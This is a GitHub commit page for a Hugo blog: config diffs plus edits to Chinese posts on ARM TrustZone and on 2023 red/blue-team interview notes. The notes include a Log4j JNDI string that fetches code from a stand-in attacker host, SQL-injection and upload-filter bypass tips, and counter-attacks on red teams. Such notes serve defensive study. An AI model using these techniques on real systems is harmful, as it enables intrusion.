Skip to content

Commit ce2283c

Browse files
committed
merge old posts
Signed-off-by: ihexon <14349453+ihexon@users.noreply.github.com>
1 parent c6fa742 commit ce2283c

44 files changed

Lines changed: 932 additions & 771 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

assets/img/logo.jpg

28.1 KB
Loading

assets/img/logo.png

220 KB
Loading

config/_default/languages.en.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ title = "IHEXON BLOG"
99
isoCode = "en"
1010
rtl = false
1111
dateFormat = "2 January 2006"
12-
# logo = "img/logo.png"
12+
logo = "img/logo.png"
1313
# secondaryLogo = "img/secondary-logo.png"
1414
description = "A BLACK CAT"
1515
# copyright = "Copy, _right?_ :thinking_face:"

config/_default/params.toml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ forgejoDefaultServer = "https://v11.next.forgejo.org"
5656
layout = "profile" # valid options: page, profile, hero, card, background, custom
5757
#homepageImage = "IMAGE.jpg" # used in: hero, and false
5858
showRecent = true
59-
showRecentItems = 5
59+
showRecentItems = 40
6060
showMoreLink = true
6161
showMoreLinkDest = "/posts/"
6262
cardView = false
@@ -86,11 +86,11 @@ forgejoDefaultServer = "https://v11.next.forgejo.org"
8686
showPagination = true
8787
invertPagination = false
8888
showReadingTime = true
89-
showTableOfContents = false
89+
showTableOfContents = true
9090
# showRelatedContent = false
9191
# relatedContentLimit = 3
92-
showTaxonomies = false # Enable the display of taxonomies for the related article.
93-
showCategories = true # These will show if showTaxonomies is true.
92+
showTaxonomies = true # Enable the display of taxonomies for the related article.
93+
showCategories = false # These will show if showTaxonomies is true.
9494
showTags = true # These will show if showTaxonomies is true.
9595
showCategoriesInSecondaryColor = false # This will change the color of category badges, so the user can better distinguish between the two. Only if showTaxonomies is true.
9696
showAuthorsBadges = false
@@ -105,7 +105,7 @@ forgejoDefaultServer = "https://v11.next.forgejo.org"
105105
layoutBackgroundBlur = true # only used when heroStyle equals background or thumbAndBackground
106106
layoutBackgroundHeaderSpace = true # only used when heroStyle equals background
107107
showBreadcrumbs = false
108-
showSummary = false
108+
showSummary = true
109109
showViews = false
110110
showLikes = false
111111
showTableOfContents = false

content/posts/2023Hvv/index.md

Lines changed: 43 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,31 +1,39 @@
11
---
2-
title: "2023 Hvv 面试笔记"
2+
title: "2023 HVV 面试笔记"
3+
summary: "整理 2023 HVV 面试和安全基础问题笔记,包括 WebSocket、协议升级、常见漏洞和应急响应流程。"
4+
description: "整理 2023 HVV 面试和安全基础问题笔记,包括 WebSocket、协议升级、常见漏洞和应急响应流程。"
35
date: 2023-07-04
46
draft: false
7+
categories:
8+
- "security"
9+
tags:
10+
- "hvv"
11+
- "web-security"
12+
- "incident-response"
513
---
14+
整理 2023 HVV 面试和安全基础问题笔记,包括 WebSocket、协议升级和常见攻防知识点。
615

7-
# websocket 流量特征
8-
1. 通常是复用 80和 443 端口,在原有的http协议上生成。upgrade : websocket
16+
<!--more-->
17+
18+
## WebSocket 流量特征
19+
1. 通常是复用 80和 443 端口,在原有的http协议上生成。upgrade : WebSocket
920
2. 长链接,连接通常保持打开和空闲状态,直到客户端或服务器发送消息,客户端与服务器之间存在定时的ping-pong机制数据交互以保持连接状态
1021
3. 客户端带有 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 用于加密
11-
4. Websocket 多用于聊天或者小包传输场景中
22+
4. WebSocket 多用于聊天或者小包传输场景中
1223

13-
# IP封禁
24+
## IP封禁
1425
1. 如果有防火墙等设备,推荐在防火墙上封禁IP
1526
2. 如果内网沦陷,可上线服务器手动设置IPtbles 防火墙隔离受感染机器
1627
3. 同时上报 IP给其他人
17-
<!--more-->
18-
19-
20-
# 危险函数
28+
## 危险函数
2129
代码执行: `eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function`
2230

2331
文件读取: `file_get_contents(),highlight_file(),fopen(),read` `file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()`
2432

2533
命令执行:`system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()`
2634

2735

28-
# Sharo 反序列原理
36+
## Shiro 反序列原理
2937
服务器端对rememberMe中的cookie依次进行base64解密、AES解密和反序列化得到cookie的值对用户进行认证。
3038
rememberMe 可以被构造,将恶意代码放入 rememberMe,服务器端解析后就会触发Java反序列化漏洞,进而在目标机器上执行任意命令。
3139
漏洞原理:
@@ -35,24 +43,24 @@ rememberMe 可以被构造,将恶意代码放入 rememberMe,服务器端解
3543
升级
3644
限制rememberMe字段长度
3745

38-
# log4j
46+
## Log4j
3947
出网协议 rmi、ldap,
4048
对 JNDI 出网协议解析不正确,攻击者在服务器中构造恶意Class 文件,在日志中如果有 JNDI 解析触发错误,如`${jndi:rmi:http://attacker.com/exp}` 下载攻击者`class`并实例化执行
4149
绕过:
4250
希腊文字,UPPER,LOWER 等
4351

44-
# weblogic
52+
## WebLogic
4553
T3 协议发送反序列化漏洞
4654
T3 配合RMI,JDNI 协议发送反序列化漏洞
4755
流量特征:开头都是ac ed 00 05,端口:7001 数据包里有 CommonCollections/ysoserial 相关的东西
4856
监测:
49-
`nmap script` 里有` weblogic-t3-info,WebLogic` 的具体版本号为10.3.6.0以下就行。
57+
`nmap script` 里有` WebLogic-t3-info,WebLogic` 的具体版本号为10.3.6.0以下就行。
5058
防御:
5159
增加 `jep290 `机制,需要修改JDK 设置
5260
jdk版本过低没有JEP290机制下,需要重写 `resolveClass(resolveClass读取反序列化的类名)`来进行反序列化类黑名单过滤。
5361

5462

55-
# fastjson
63+
## Fastjson
5664
`Object --> json or json-->Object`
5765

5866
反序列化 @type 指定的类时,指定类的 setter 或 getter 被调用导致的命令执行,比如 JDBCRowSetImpl setter dataSourceName 方法,支持RMI远程调用。
@@ -69,82 +77,82 @@ xray
6977
开启safeMode,-Dfastjson.parser.safeMode=true
7078
升级到最新版本1.2.83
7179

72-
# 云函数
80+
## 云函数
7381
云函数:是独立运行的代码,托管在腾讯云平台上,可实现批量探测,由于IP数量多,造成溯源难度大,封禁难度大
7482
1. 通过观测流量的方法,提取攻击者攻击的端口号,业务系统精细到某个页面某个接口的利用,提取特征,然后根据特征编写防火墙规则
7583
2. X-Api-Status
7684
3. sh.apigw.tencentcs.com 域名前置
7785

78-
# 蜜罐
86+
## 蜜罐
7987
1. 可以模拟真实交互场景
8088
2. 捕获攻击者攻击IP,攻击手法,甚至是未公开0day
8189
3. 捕获上传的木马以便后续分析,可以大概对攻击者所在的组织特征进行画像
8290
4. 可以起到攻击预警监测的作用,帮助及时发现任何攻击活动。
8391

8492

85-
# SQL 注入
93+
## SQL 注入
8694
1. 通过报错注入(bczr)(常用函数,updataxml,extractXML ,rand,exp ,squar 等函数)猜表名。
8795
2. 构造SQL语句,写入文件到可写入的路径下的可读写文件中,盲注函数(substr,left,right,ascii,char)
8896
3. 多次构造注入语句进行多次写入操作,拼接成完整的Payload
8997
4. 访问运行
90-
## 注入写文件的条件
98+
### 注入写文件的条件
9199
1. 必须有写入权限
92100
2. 查询语句的函数必须要能输出内容到某个文件里,常见的指令有 into outfile,load date file
93101
3. 该文件不能为空,且必须是文本文件
94102
4. 攻击者必须知道文件在哪里
95-
## SQL 绕过(sqlrg):
103+
### SQL 绕过(sqlrg):
96104
大小写,编码绕过,宽字节绕过,内敛注释绕过,十六进制绕
97105
SQL 注入预编译绕过:使用单引号和注释来拼接注入语句。
98-
## SQL 注入防御
106+
### SQL 注入防御
99107
1. 严格规律用户输入语句
100108
2. 使用预编译
101109
3. 站酷分离设计
102-
## SQLmap 流量特征
110+
### SQLmap 流量特征
103111
1. 大量的SQL查询发生,并且大量的不同规则的Payload反复对同一个页面或者接口查询
104112
2. SQLmap有自己的UA 特征
105113
3. 会在Cookie 字段里发现注入payload
106114

107-
# 绕过
115+
## 绕过
108116
文件上传漏洞绕过:
109117
前端+后端过滤,后缀名截断,后缀名,MME绕过(修改 Content-Type ibm500、cp875
110118
Accept-Encoding gzip
111119
截断文件名
112120
HTTP PIpeline 分块传输)
113121

114122

115-
# 网站被挂马怎么办
123+
## 网站被挂马怎么办
116124
1. 取证(登录服务器,查看日志异常进程端口号,web页面可疑文件等),处理(删除木马文件,内存马使用专用清除工具,或者手写JVM 拦截器),溯源(入侵IP背景信息,入侵手法,恶意代码相似度归类),记录
117125

118-
# 溯源
126+
## 溯源
119127
掌握攻击者的攻击手法,掌握攻击者背后的 IP &域名资产,掌握攻击者的真实身份
120128
溯源攻击手法:收集 如 Req/resp,User-Agent,特有的红队工具,钓鱼邮件(LNK、EXE、DOCX)特征,使用过的漏洞。
121129
溯源资产:发件服务器操作系统,IP,whos信息,绑定过的域名,DNS记录,回连C2,端口
122130
溯源后门:代码逻辑,行为,利用的操作系统漏洞,链接到的二进制库
123131
ID号:社交平台,Google,twitter,GitHub,Gitee,StackOverflow等,支付宝,微信
124-
# 反制
132+
## 反制
125133
通过对红队的资产展开渗透测试,拿下有些服务
126134
蜜罐中诱导红队下载SSL VPN,恶意文档等
127135
给红队发送钓鱼邮件等。
128136
BUrpsite,扫描器fz,gz炸弹,nmap syn 超时等
129137

130-
# FOFA
138+
## FOFA
131139
domain=”qq.com” 搜索根域名带有qq.com的网站。
132140
host=”.gov.cn” 从url中搜索”.gov.cn” 搜索要用host作为名称
133141
port=”6379” 查找对应“6379”端口的资产
134142
ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产
135143

136144

137-
# 蚁剑、冰蝎,哥斯拉流量特征
138-
## 蚂剑
145+
## 蚁剑、冰蝎,哥斯拉流量特征
146+
### 蚁剑
139147
1. User-agent 为 Ant-swa,但是可以修改 request.js 实现
140148
2. 混淆后的流量大部分是 0x 开头的
141149

142-
## 冰蝎
150+
### 冰蝎
143151
1. Accept 头是 application/xhtml lapplication/xml application/signed- exchange 弱特征
144152
2. Content-Type: application/octet-stream 强特征,并且伴随着大量的Content-Type: applicationo/ctet-stream,很少使用
145153
3. UserAgent 内置16 个,随机选择,弱特征
146154

147-
## 哥斯拉
155+
### 哥斯拉
148156
动态特征
149157
1. 监控 JVM 拦截反射类 javax.crypto.Cipher.getInstance(“AES”)
150158
2. C# 拦截 System.Security.Cryptography.RijndaelManaged()
@@ -157,9 +165,9 @@ ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产
157165
5. 响应特征,把 32 位 MD5 拆开,16 位 md5 + base64 + 后 16 位 md5, md5 字符集 0-9A-F 匹配
158166

159167

160-
# 应急响应流程
168+
## 应急响应流程
161169
应急响应流程:准备-监测-抑制-根除-恢复-编写报告
162-
# 上机排查
170+
## 上机排查
163171
首先确定是否为误报,分析抓到的Payload,如果是:
164172
1. 定位是哪台机器,可以在安全设备上查看
165173
2. 定位与这台机器互相连接的机器,大致确定可能的受攻击范围
@@ -170,7 +178,7 @@ ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产
170178
6. 编写产出监测报告
171179
如果不是,及时更新防火墙规则,以免才吃
172180

173-
# 应急响应案例
181+
## 应急响应案例
174182
某公司十余台服务器感染勒索病毒,文件遭勒索加密,因
175183
此向奇安信安服团队发起应急响应请求,查询中毒原因。
176184
应急人员抵达现场后,查看加密文件后缀及勒索病毒界面,判断该病毒
@@ -220,7 +228,7 @@ ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产
220228
服务器Web日志分析发现攻击者利用TRS漏洞,植入WebShell后门,攻击
221229
IP经调研后发现为内部Redis服务器,通过对Redis服务器进行分析发现该
222230
机器存在RootKit程序,该程序会自动连接到攻击者服务器,植入时间为:
223-
2017/03/17 ,且在该机器上发现了攻击者利用Redis未授权获得本机SSH管
231+
2017/03/17,且在该机器上发现了攻击者利用Redis未授权获得本机SSH管
224232
理权限的行为和内网扫描行为。
225233
综上,攻击者通过利用Redis未授权漏洞获取了Redis服务器本机SSH
226234
管理权限,并对同网段进行扫描,发现TRS服务器存在漏洞,并对该漏洞进
@@ -229,7 +237,7 @@ IP经调研后发现为内部Redis服务器,通过对Redis服务器进行分
229237
器,植入后门文件,并在官网首页文件中插入恶意代码
230238

231239

232-
# Windows 攻防
240+
## Windows 攻防
233241
隐蔽的影子账户可以在注册表里Sam里看到。
234242
Systeminfo可以查看系统信息并展示系统补丁信息
235243
日志 Windows审核策略,事件查看器,有日志筛选框

content/posts/ArmTrustZone/index.md

Lines changed: 26 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,26 @@
11
---
22
title: "ARMv8-A 可信固件乱谈"
3+
summary: "整理 ARM TrustZone、Exception Level、Secure Monitor 和 Trusted Firmware-A 启动阶段的个人理解。"
4+
description: "整理 ARM TrustZone、Exception Level、Secure Monitor 和 Trusted Firmware-A 启动阶段的个人理解。"
35
date: 2023-07-20
46
draft: false
7+
categories:
8+
- "firmware"
9+
tags:
10+
- "arm"
11+
- "trustzone"
12+
- "trusted-firmware-a"
513
---
6-
7-
> 全部都是个人理解,非常个人的理解,非常不建议阅读,建议立即关闭此页面
14+
> 全部都是个人理解,非常个人的理解;如果你想看严谨文档,建议直接去读 ARM 和 TF-A 官方资料。
815
>
916
10-
# ARM TrustZone 是什么
17+
<!--more-->
18+
19+
## ARM TrustZone 是什么
1120

1221
TrustZone 技术与 Cortex-A 处理器紧密集成,并通过 AMBA-AXI 总线和特定的 TrustZone 系统 IP
1322
块在系统中进行扩展。此系统方法意味着可以保护安全内存、加密块、键盘和屏幕等外设,从而可确保它们免遭软件攻击。
14-
15-
<!--more-->
16-
# 了解 Exception Levels 0-3 和 Security state
23+
## 了解 Exception Levels 0-3 和 Security state
1724

1825
ARMv8 的异常级别分为 EL0-EL3,EL0 权限最低,EL3 权限最高。通常情况下的 EL0-EL3 模型:
1926

@@ -43,19 +50,19 @@ ARMv8 的异常级别分为 EL0-EL3,EL0 权限最低,EL3 权限最高。通
4350

4451
好了点到为止。
4552

46-
# BL 1
53+
## BL 1
4754

4855
AARCH64 的启动基本分为 `Bootrom -> BL1 -> BL2 -> (BL31/BL32/BL33)` 这几个阶段。
4956

50-
通常情况下,CPU上电后运行的 Boot Rom 代码我们说他们是可信的,运行在 EL3 ,上电运行Boot Rom 的阶段在 BL1,这里有个例子就是我的 S905X3 的 EMMC 被我吹风机吹坏,不插 SDCARD和 U盘的情况,板子上电后在串口反复打印:
57+
通常情况下,CPU上电后运行的 Boot Rom 代码我们说他们是可信的,运行在 EL3,上电运行Boot Rom 的阶段在 BL1,这里有个例子就是我的 S905X3 的 eMMC 被我吹风机吹坏,不插 SD card和 U盘的情况,板子上电后在串口反复打印:
5158

5259
```bash
53-
SM1:BL:511f6b:81ca2f;FEAT:A0F83180:20282000;POC:F;RCY:0;EMMC:0;READ:E;READ:800;READ:800;SD?:0;SD:0;READ:0;0.0;C;
60+
SM1:BL:511f6b:81ca2f;FEAT:A0F83180:20282000;POC:F;RCY:0;eMMC:0;READ:E;READ:800;READ:800;SD?:0;SD:0;READ:0;0.0;C;
5461
```
5562

56-
因为 EMMC 和 SRCARD 都插盒子,CPU 上电后芯片内部的 Boot Rom 内的代码找不到任何引导,就反复尝试且反复报错。
63+
因为 eMMC 和 SRCARD 都插盒子,CPU 上电后芯片内部的 Boot Rom 内的代码找不到任何引导,就反复尝试且反复报错。
5764

58-
在 arm-trusted-firmware 的 [arm-trusted-firmware/bl1_main.c at master · ARM-software/arm-trusted-firmware (github.com)](https://github.com/ARM-software/arm-trusted-firmware/blob/master/bl1/bl1_main.c) 内的 bl1_main 函数内定义了 CPU BootRom 上电后的 BL1 逻辑。
65+
在 arm-trusted-firmware 的 [arm-trusted-firmware/bl1_main.c at master · ARM-software/arm-trusted-firmware (github.com)](https://github.com/ARM-software/arm-trusted-firmware/blob/master/bl1/bl1_main.c) 内的 bl1_main 函数内定义了 CPU BootROM 上电后的 BL1 逻辑。
5966

6067
```bash
6168
# Sourcegraph 语法,直接粘贴到 Sourcegraph 定位代码
@@ -110,7 +117,7 @@ Amlogic 提供二进制文件的许可证在历史上并不明确,但现在已
110117
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
111118
```
112119

113-
这些专有的 binaries 可在在 `[https://github.com/LibreELEC/amlogic-boot-fip](https://github.com/LibreELEC/amlogic-boot-fip)` 被找到。然后使用 `./build-fip.sh` 来构建实际可用的 u-boot.bin
120+
这些专有的 binaries 可在在 `[https://github.com/LibreELEC/amlogic-boot-fip](https://github.com/LibreELEC/amlogic-boot-fip)` 被找到。然后使用 `./build-fip.sh` 来构建实际可用的 U-Boot.bin。
114121

115122
我手上有块 rk3399 eaidk 610 的板子,假设固件没有被人为修改,那么
116123

@@ -121,33 +128,33 @@ Amlogic 提供二进制文件的许可证在历史上并不明确,但现在已
121128

122129
Rockchip 的 BL1/BL2 都是闭源的,其实也可以理解。RK 只使用了 ARM-Trust-Firmware 的 BL31 代码。这就是为什么构建 U-boot的时候需要 bl31.elf 的原因。
123130

124-
# BL3 干了什么
131+
## BL3 干了什么
125132

126133
BL3 由 BL2 加载,BL1 将控制权传递给 EL3 处的 BL3-1。 BL3-1 仅在受信任的 SRAM 中执行。
127134

128135
BL3-1 链接并加载到特定于平台的基地址。 BL3-1 实现的功能:
129136

130-
## 架构初始化
137+
### 架构初始化
131138

132139
BL3-1 执行与 BL1 类似的架构初始化。 由于 BL1 代码驻留在 ROM 中,因此 BL3-1 中的体系结构初始化允许覆盖 BL1 之前完成的任何初始化。 BL3-1 创建页表来寻址前 4GB 的物理地址空间,并相应地初始化 MMU。 它用自己的替换了 BL1 填充的异常向量。 如果引发意外异常,BL3-1 异常向量会以与 BL1 相同的方式指示错误条件。 他们为处理 SMC 实现了更精细的支持,因为这是访问 BL3-1(例如 PSCI)实现的运行时服务的唯一机制。 在将控制传递给所需的 SMC 处理程序之前,BL3-1 检查每个 SMC 的有效性,如 SMC 调用约定 PDD 所指定的那样。 BL3-1 使用平台提供的系统计数器的时钟频率对 CNTFRQ_EL0 寄存器进行编程。
133140

134-
## 平台初始化
141+
### 平台初始化
135142

136143
BL3-1 执行详细的平台初始化,使正常世界的软件能够正常运行。 它还从 BL2 填充的平台定义内存地址检索 BL2 加载的 BL3-3 图像的入口点信息。 BL3-1 还初始化 UART0(PL011 控制台),它可以访问 BL3-1 中的 printf 函数系列。 它通过内存映射接口启用通用定时器的系统级实现。
137144

138-
## GICv2初始化:
145+
### GICv2初始化:
139146

140147
建议 Google
141148

142-
## 电源管理初始化:
149+
### 电源管理初始化:
143150

144151
BL3-1 实现了一个状态机来跟踪 CPU 和集群状态。 状态可以是 OFF、ON_PENDING、SUSPEND 或 ON 之一。 所有辅助 CPU 最初都处于关闭状态。 主CPU所属集群ON; 任何其他集群都关闭。 BL3-1 初始化实现状态机的数据结构,包括保护它们的锁。 BL3-1 在复位后和在热启动路径中启用 MMU 之前立即访问 CPU 或集群的状态。 目前不可能使用基于“独占”的自旋锁,因此 BL3-1 使用基于 Lamport 的 Bakery 算法的锁。 BL3-1 在设备内存中分配这些锁。 无论 MMU 状态如何,它们都是可访问的。
145152

146-
## 运行时服务初始化:
153+
### 运行时服务初始化:
147154

148155
建议 Google
149156

150-
# 怎么触发 BL31-Kernel 层的交互
157+
## 怎么触发 BL31-Kernel 层的交互
151158

152159
No Secure OS(Linux)和 Secure OS,如果需要同 BL31 进行交互,可以通过两种
153160
方法:

0 commit comments

Comments
 (0)